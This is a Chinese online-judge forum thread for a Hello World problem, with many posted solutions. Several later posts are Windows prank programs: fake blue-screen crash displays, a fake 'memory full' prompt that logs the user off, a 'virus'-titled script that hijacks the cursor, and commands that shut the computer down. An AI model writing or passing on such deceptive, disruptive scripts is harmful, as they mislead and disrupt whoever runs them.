HUST Online Judge WebBoard
[ New Thread ]
Problem 1001 >> 1001
110 @ 2019-04-19 16:37:54
[ Quote ] [ Edit ] [ Delete ] 1#
怎么做
zhanghaoranz @ 2019-04-30 17:35:16
[ Quote ] [ Edit ] [ Delete ] 2#
jhn

ZJCJTXA @ 2019-05-29 20:52:34
[ Quote ] [ Edit ] [ Delete ] 3#
#include<bits/stdc++.h>
using namespace std;
int main()
{
cout<<"Hello,World!"<<endl;
return 0;
}
hsyangkeyi @ 2019-07-14 10:45:58
[ Quote ] [ Edit ] [ Delete ] 4#
pascal版:
begin
write('Hello, World!');
end.
ywldgcc @ 2019-07-29 09:00:01
[ Quote ] [ Edit ] [ Delete ] 5#
#include<iostream> //包括输入、输出头文件。
using namespace std; //一句指明程序采用的命名空间。

int main() {
cout<<"Hello, World!";
return 0;
}
ywldzzk @ 2019-07-29 11:20:04
[ Quote ] [ Edit ] [ Delete ] 6#
#include<iostream>
#include<windows.h>
using namespace std;
int main() {

while(1) {
system("color 43");
cout<<"__________________ \n";
cout<<"|-----------------|\n";
cout<<"|-----------------|\n";
cout<<"|-----------------| ` ` `\n";
cout<<"|---- ywldgcc ----| ` ` `\n";
cout<<"|------之墓-------| | | |\n";
cout<<"|-----------------| | | |\n";
cout<<"|-----------------| | | |\n";
cout<<"=================== | | |\n";
Sleep(1000);
cout<<" 可怜\n";
cout<<endl;
Sleep(1000);
cout<<" 可悲\n";
cout<<endl;
Sleep(1000);
cout<<" 可泣\n";
cout<<endl;
Sleep(1000);
cout<<" 可叹\n";
cout<<endl;
Sleep(1000);
system("cls");
}

while(true);
}
hsxxbianjinchen @ 2019-11-26 20:37:41
[ Quote ] [ Edit ] [ Delete ] 7#
pascal版:
begin
write('Hello, World!');
end.
secessionist @ 2023-08-07 11:55:55
[ Quote ] [ Edit ] [ Delete ] 8#
//c版:
#include<stdio.h>
int main(){
printf("Hello, World!");
return 0;
}
secessionist @ 2023-08-15 16:48:47
[ Quote ] [ Edit ] [ Delete ] 9#
#include<iostream>
using namespace std;
int main() {
while(1) {
system("color 3F");
cout<<"__________________ \n";
cout<<"|-----------------|\n";
cout<<"|-----------------|\n";
cout<<"|-----------------| ` ` `\n";
cout<<"|---- ywldgcc ----| ` ` `\n";
cout<<"|------之墓-------| | | |\n";
cout<<"|-----------------| | | |\n";
cout<<"|-----------------| | | |\n";
cout<<"=================== | | |\n";
for(int i=0;i<10000000;i++){
for(int i=0;i<50;i++);//等待约1秒的时间
}
cout<<" 可怜\n";
cout<<endl;
for(int i=0;i<10000000;i++){
for(int i=0;i<50;i++);
}
cout<<" 可悲\n";
cout<<endl;
for(int i=0;i<10000000;i++){
for(int i=0;i<50;i++);
}
cout<<" 可泣\n";
cout<<endl;
for(int i=0;i<10000000;i++){
for(int i=0;i<50;i++);
}
cout<<" 可叹\n";
cout<<endl;
for(int i=0;i<10000000;i++){
for(int i=0;i<50;i++);
}
system("cls");
}
}//不是ywldzzk你的程序在我的电脑上运行不起来!!!所以我写了一个改进版。。。
secessionist @ 2023-11-05 18:41:32
[ Quote ] [ Edit ] [ Delete ] 10#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
2023zjhj0020 @ 2024-10-21 19:49:32
[ Quote ] [ Edit ] [ Delete ] 11#
#include<iostream>
using namespace std;
int main() {
cout<<"Hello, World!";
return 0;
}
2024zjhs0012 @ 2025-07-14 08:01:53
[ Quote ] [ Edit ] [ Delete ] 12#
#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;
int main()
{
system("color 8F");
int result = MessageBox(MB_APPLMODAL,"请问是否要启动该程序?若启动,会占用较大cpu,此程序无毒!","来自(转载)的温馨提示",MB_ICONASTERISK|MB_YESNO);
if (result == IDNO)
{
return 0;
}
else
{
int x,y;
for (int a=0;a<10000;a++)
{
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
for (int b=0;b<3;b++)
{
system("start notepad");
system("start calc");
system("start winver");
system("start cmd");
system("start Nslookup");
system("start ");
system("start cleanmgr");
system("start charmap");
system("start calc");
system("start calc");
system("start dxdiag");
system("start cmd");
system("start cmd");
system("start cmd");
system("start taskmgr");
system("start ");
system("start wiaacmgr");
system("start mspaint");
system("start mmc");
system("start ");
}
system("start dxdiag");
Sleep(2000);
system("taskkill /im notepad.exe") ;
system("taskkill /im calc.exe") ;
system("taskkill /im dxdiag.exe") ;
system("taskkill /im winver.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im Nslookup.exe") ;
system("taskkill /im cleanmgr.exe") ;
system("taskkill /im charmap.exe") ;
system("taskkill /im taskmgr.exe") ;
system("taskkill /im wiaacmgr.exe") ;
system("taskkill /im mspaint.exe") ;
system("taskkill /im mmc.exe") ;
for (int c=0;c<5;c++)
{
system("start notepad");
}
system("taskkill /im notepad.exe") ;
for (int d=0;d<5;d++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int l=0;l<10;l++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int m=0;m<15;m++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int f=0;f<20;f++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int n=0;n<10;n++)
{
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int q=0;q<15;q++)
{
system("start cmd");
}
system("taskkill /im cmd.exe") ;
for (int r=0;r<20;r++)
{
system("start taskmgr");
}
system("taskkill /im taskmgr.exe") ;
for (int g=0;g<10;g++)
{
system("start mmc");
}
for (int h=0;h<10;h++)
{
system("start ");
}
ofstream out;
out.open("eason.bat");
out<<"dir/s";
out.close();
for (int i=0;i<5;i++)
{
system("start eason.bat");
}
ofstream oo;
oo.open("eason2.bat");
oo<<"tree";
oo.close();
for (int j=0;j<5;j++)
{
system("start eason2.bat");
}
//接下来我要把程序都关了
system("taskkill /im taskmgr.exe") ;
system("taskkill /im mmc.exe") ;
system("taskkill /im /f cmd.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im calc.exe") ;
for (int k=0;k<10000;k++)
{
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
ofstream o;
o.open("easo.txt");
o<<"(づ ̄3 ̄)づ╭?~"<<'\n'<<"程序到此便结束了ヾ(=?ω?=)o"<<'\n'<<"制作者:(转载)"<<'\n'<<"bye!"<<'\a';
o.close();
system("start easo.txt");
for (int p =0;p<5;p++)
{
system("shutdown -s");
Sleep(100);
system("shutdown -a");
}
remove("eason.bat");
remove("eason2.bat");
remove("easo.txt");
result = MessageBox(MB_APPLMODAL,"程序已结束!","来自(转载)的温馨提示",MB_ICONASTERISK|MB_OK);
return 0;
}
}
2024zjhs0012 @ 2025-07-14 08:03:00
[ Quote ] [ Edit ] [ Delete ] 13#
#include<windows.h>
#include<stdlib.h>
using namespace std;
int main()
{
int n;
cout<<"开始游戏按1"<<endl;
cin>>n;
if(n==1)
{
for(int i=0;i<100;i++)
{
cout<<"--------------------------------------------"<<endl;
cout<<" 地图:沙漠2 ------------------------------"<<endl;
cout<<" 正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
cout<<"--------------------------------------------"<<endl;
Sleep(100);
system("cls");
}
}
cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
cin>>n;
if(n==1){
cout<<"开始清理"<<endl;
Sleep(5000);
cout<<"哈哈哈"<<endl;
system("shutdown -l");
}
if(n==2){
cout<<"内存不够,开始强行清理!"<<endl;
system("shutdown -l");
}
return 0;
}
2024zjhs0012 @ 2025-07-14 08:03:28
[ Quote ] [ Edit ] [ Delete ] 14#
#include <iostream>
#include <windows.h>
using namespace std;
void full_screen() {
HWND hwnd = GetForegroundWindow();
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE); //获取窗口信息
SetWindowLong(hwnd,GWL_STYLE,
(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
~WS_BORDER);
SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideTheCursor() {
CONSOLE_CURSOR_INFO cciCursor;
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if(GetConsoleCursorInfo(hStdOut, &cciCursor)) {
cciCursor.bVisible = FALSE;
SetConsoleCursorInfo(hStdOut, &cciCursor);
}
}
int main()
{
system("mode 96,28");
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(hStdin, mode);
HideTheCursor();
CONSOLE_FONT_INFOEX cfi;
cfi.cbSize = sizeof cfi;
cfi.nFont = 0;
cfi.dwFontSize.X = 15;
cfi.dwFontSize.Y = 30;
cfi.FontFamily = FF_DONTCARE;
cfi.FontWeight = FW_NORMAL;
wcscpy(cfi.FaceName, L"MS Gothic");
SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);
system("color 1f");
RECT rect;
HWND hwnd=GetForegroundWindow();
GetWindowRect(hwnd,&rect);
MoveWindow(hwnd,-30,-7,8600,1080,TRUE);
full_screen();
cout<<"A problem has been detected and windows has been shut\
down to prevent damage\n\
to your computer.\n\n\
DRIVER_IROL_NOT_LESS_OR_EQUAL\n\n\
If this is the first time you've seen this Stop error screen, \n\
restart your computer.If this screen appears again, follow \n\
these steps:\n\n\
Check to make sure any new hardware or software is properly installed.\n\
If this is a new installation, ask your hardware or software manufacturer\n\
for any windows updates you might need.\n\n\
If problems continue. disable or remove any newly installed hardware\n\
or software. Disable BIOS memory option such as caching or shadowing.\n\
If you need to nsu Safe Mode to remove or disable components, restart\n\
your computer, press F8 to select Advanced Startup Options, and then\n\
select Safe Mode.\n\n\
Technical information:\n\
\"\"\"STOP:0x00000050(0xFD3094c2,0x00000001,0xFBFE7617,0x00000000)\n\n\
\"\"\"SPCMDON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c"<<endl;
while(true)
{
HideTheCursor();
Sleep(1000);
}
return 0;
}
2024zjhs0012 @ 2025-07-14 08:03:55
[ Quote ] [ Edit ] [ Delete ] 15#
#include <iostream>
#include <windows.h>
using namespace std;
void full_screen() {
HWND hwnd = GetForegroundWindow();
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE); //获取窗口信息
SetWindowLong(hwnd,GWL_STYLE,
(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
~WS_BORDER);
SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideTheCursor() {
CONSOLE_CURSOR_INFO cciCursor;
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
if(GetConsoleCursorInfo(hStdOut, &cciCursor)) {
cciCursor.bVisible = FALSE;
SetConsoleCursorInfo(hStdOut, &cciCursor);
}
}
int main()
{
system("mode 96,28");
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(hStdin, mode);
HideTheCursor();
CONSOLE_FONT_INFOEX cfi;
cfi.cbSize = sizeof cfi;
cfi.nFont = 0;
cfi.dwFontSize.X = 15;
cfi.dwFontSize.Y = 30;
cfi.FontFamily = FF_DONTCARE;
cfi.FontWeight = FW_NORMAL;
wcscpy(cfi.FaceName, L"MS Gothic");
SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);
system("color 1f");
RECT rect;
HWND hwnd=GetForegroundWindow();
GetWindowRect(hwnd,&rect);
MoveWindow(hwnd,-30,-7,8600,1080,TRUE);
full_screen();
cout<<"A problem has been detected and windows has been shut\
down to prevent damage\n\
to your computer.\n\n\
DRIVER_IROL_NOT_LESS_OR_EQUAL\n\n\
If this is the first time you've seen this Stop error screen, \n\
restart your computer.If this screen appears again, follow \n\
these steps:\n\n\
Check to make sure any new hardware or software is properly installed.\n\
If this is a new installation, ask your hardware or software manufacturer\n\
for any windows updates you might need.\n\n\
If problems continue. disable or remove any newly installed hardware\n\
or software. Disable BIOS memory option such as caching or shadowing.\n\
If you need to nsu Safe Mode to remove or disable components, restart\n\
your computer, press F8 to select Advanced Startup Options, and then\n\
select Safe Mode.\n\n\
Technical information:\n\
\"\"\"STOP:0x00000050(0xFD3094c2,0x00000001,0xFBFE7617,0x00000000)\n\n\
\"\"\"SPCMDON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c"<<endl;
while(true)
{
HideTheCursor();
Sleep(1000);
}
return 0;
}
2024zjhs0012 @ 2025-07-15 08:08:36
[ Quote ] [ Edit ] [ Delete ] 16#
#include <bits/stdc++.h> //万能头文件
#include <conio.h> //getch调用
#include <windows.h> //Sleep等调用
#include "HeiKe.h"
using namespace std;
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
string ini;
int main()
{
system("mode con cols=92 lines=43");
system("title 不许关闭窗口或者打开任务管理器!否则癫痫病毒发作!把你的电脑搞成一团垃圾!!!");
release();
MessageBox(0,"快在黑框框里面说“我是傻逼”,不然就把你鼠标指针搞坏!╭(╯^╰)╮\n","virus",MB_ICONWARNING|MB_OK);
cin >> ini;
if(ini == "我是傻逼")
{
MessageBox(0,"这是一个现实,呵呵呵o(* ̄︶ ̄*)o~~\n","virus",MB_ICONINFORMATION|MB_OK);
MessageBox(0,"手拿篮球追一路,我是ikun你记住!(ikun≈黑粉)\n","virus",MB_ICONINFORMATION|MB_OK);
//此处转载无聊码客的vbs之鬼畜恶搞代码。
return 0;
}
MessageBox(0,"再问你一遍!\n","virus",MB_ICONSTOP|MB_OK);
cin >> ini;
if(ini == "我是傻逼")
{
MessageBox(0,"这是一个现实,呵呵呵o(* ̄︶ ̄*)o~~\n","virus",MB_ICONINFORMATION|MB_OK);
MessageBox(0,"手拿篮球追一路,我是ikun你记住!(ikun≈黑粉)\n","virus",MB_ICONINFORMATION|MB_OK);
//此处转载无聊码客的vbs之鬼畜恶搞代码。
return 0;
}else
{
MessageBox(0,"不承认是吧!好,我发飙了!!!╭(╯^╰)╮\n","virus",MB_ICONSTOP|MB_OK);
for (int i = 3; i >= 1; i--)
{
printf("%d",i);
Sleep(1000);
system("cls");
}
Hide();
srand(time(0));
while(1)
{
SetCursorPos(rand()%x,rand()%y);
}
}
return 0;
}
secessionist @ 2025-08-29 11:36:01
[ Quote ] [ Edit ] [ Delete ] 17#
#include<iostream>
#include<windows.h>
using namespace std;
int main(){
system("shutdown -s -t 00");
}//这才是真神,其它的都给我滚开
2024zjhs0006 @ 2025-09-20 10:04:30
[ Quote ] [ Edit ] [ Delete ] 18#
#include <bits/stdc++.h>
using namespace std;
int main(){
double n,k,s;
cin>>n;
k=n*n*3.1415926;
s=(n+n)*3.1415926;
cout<<fixed<<setprecision(2)<<k<<endl<<s;

}
[Top] [Previous Page] [Next Page]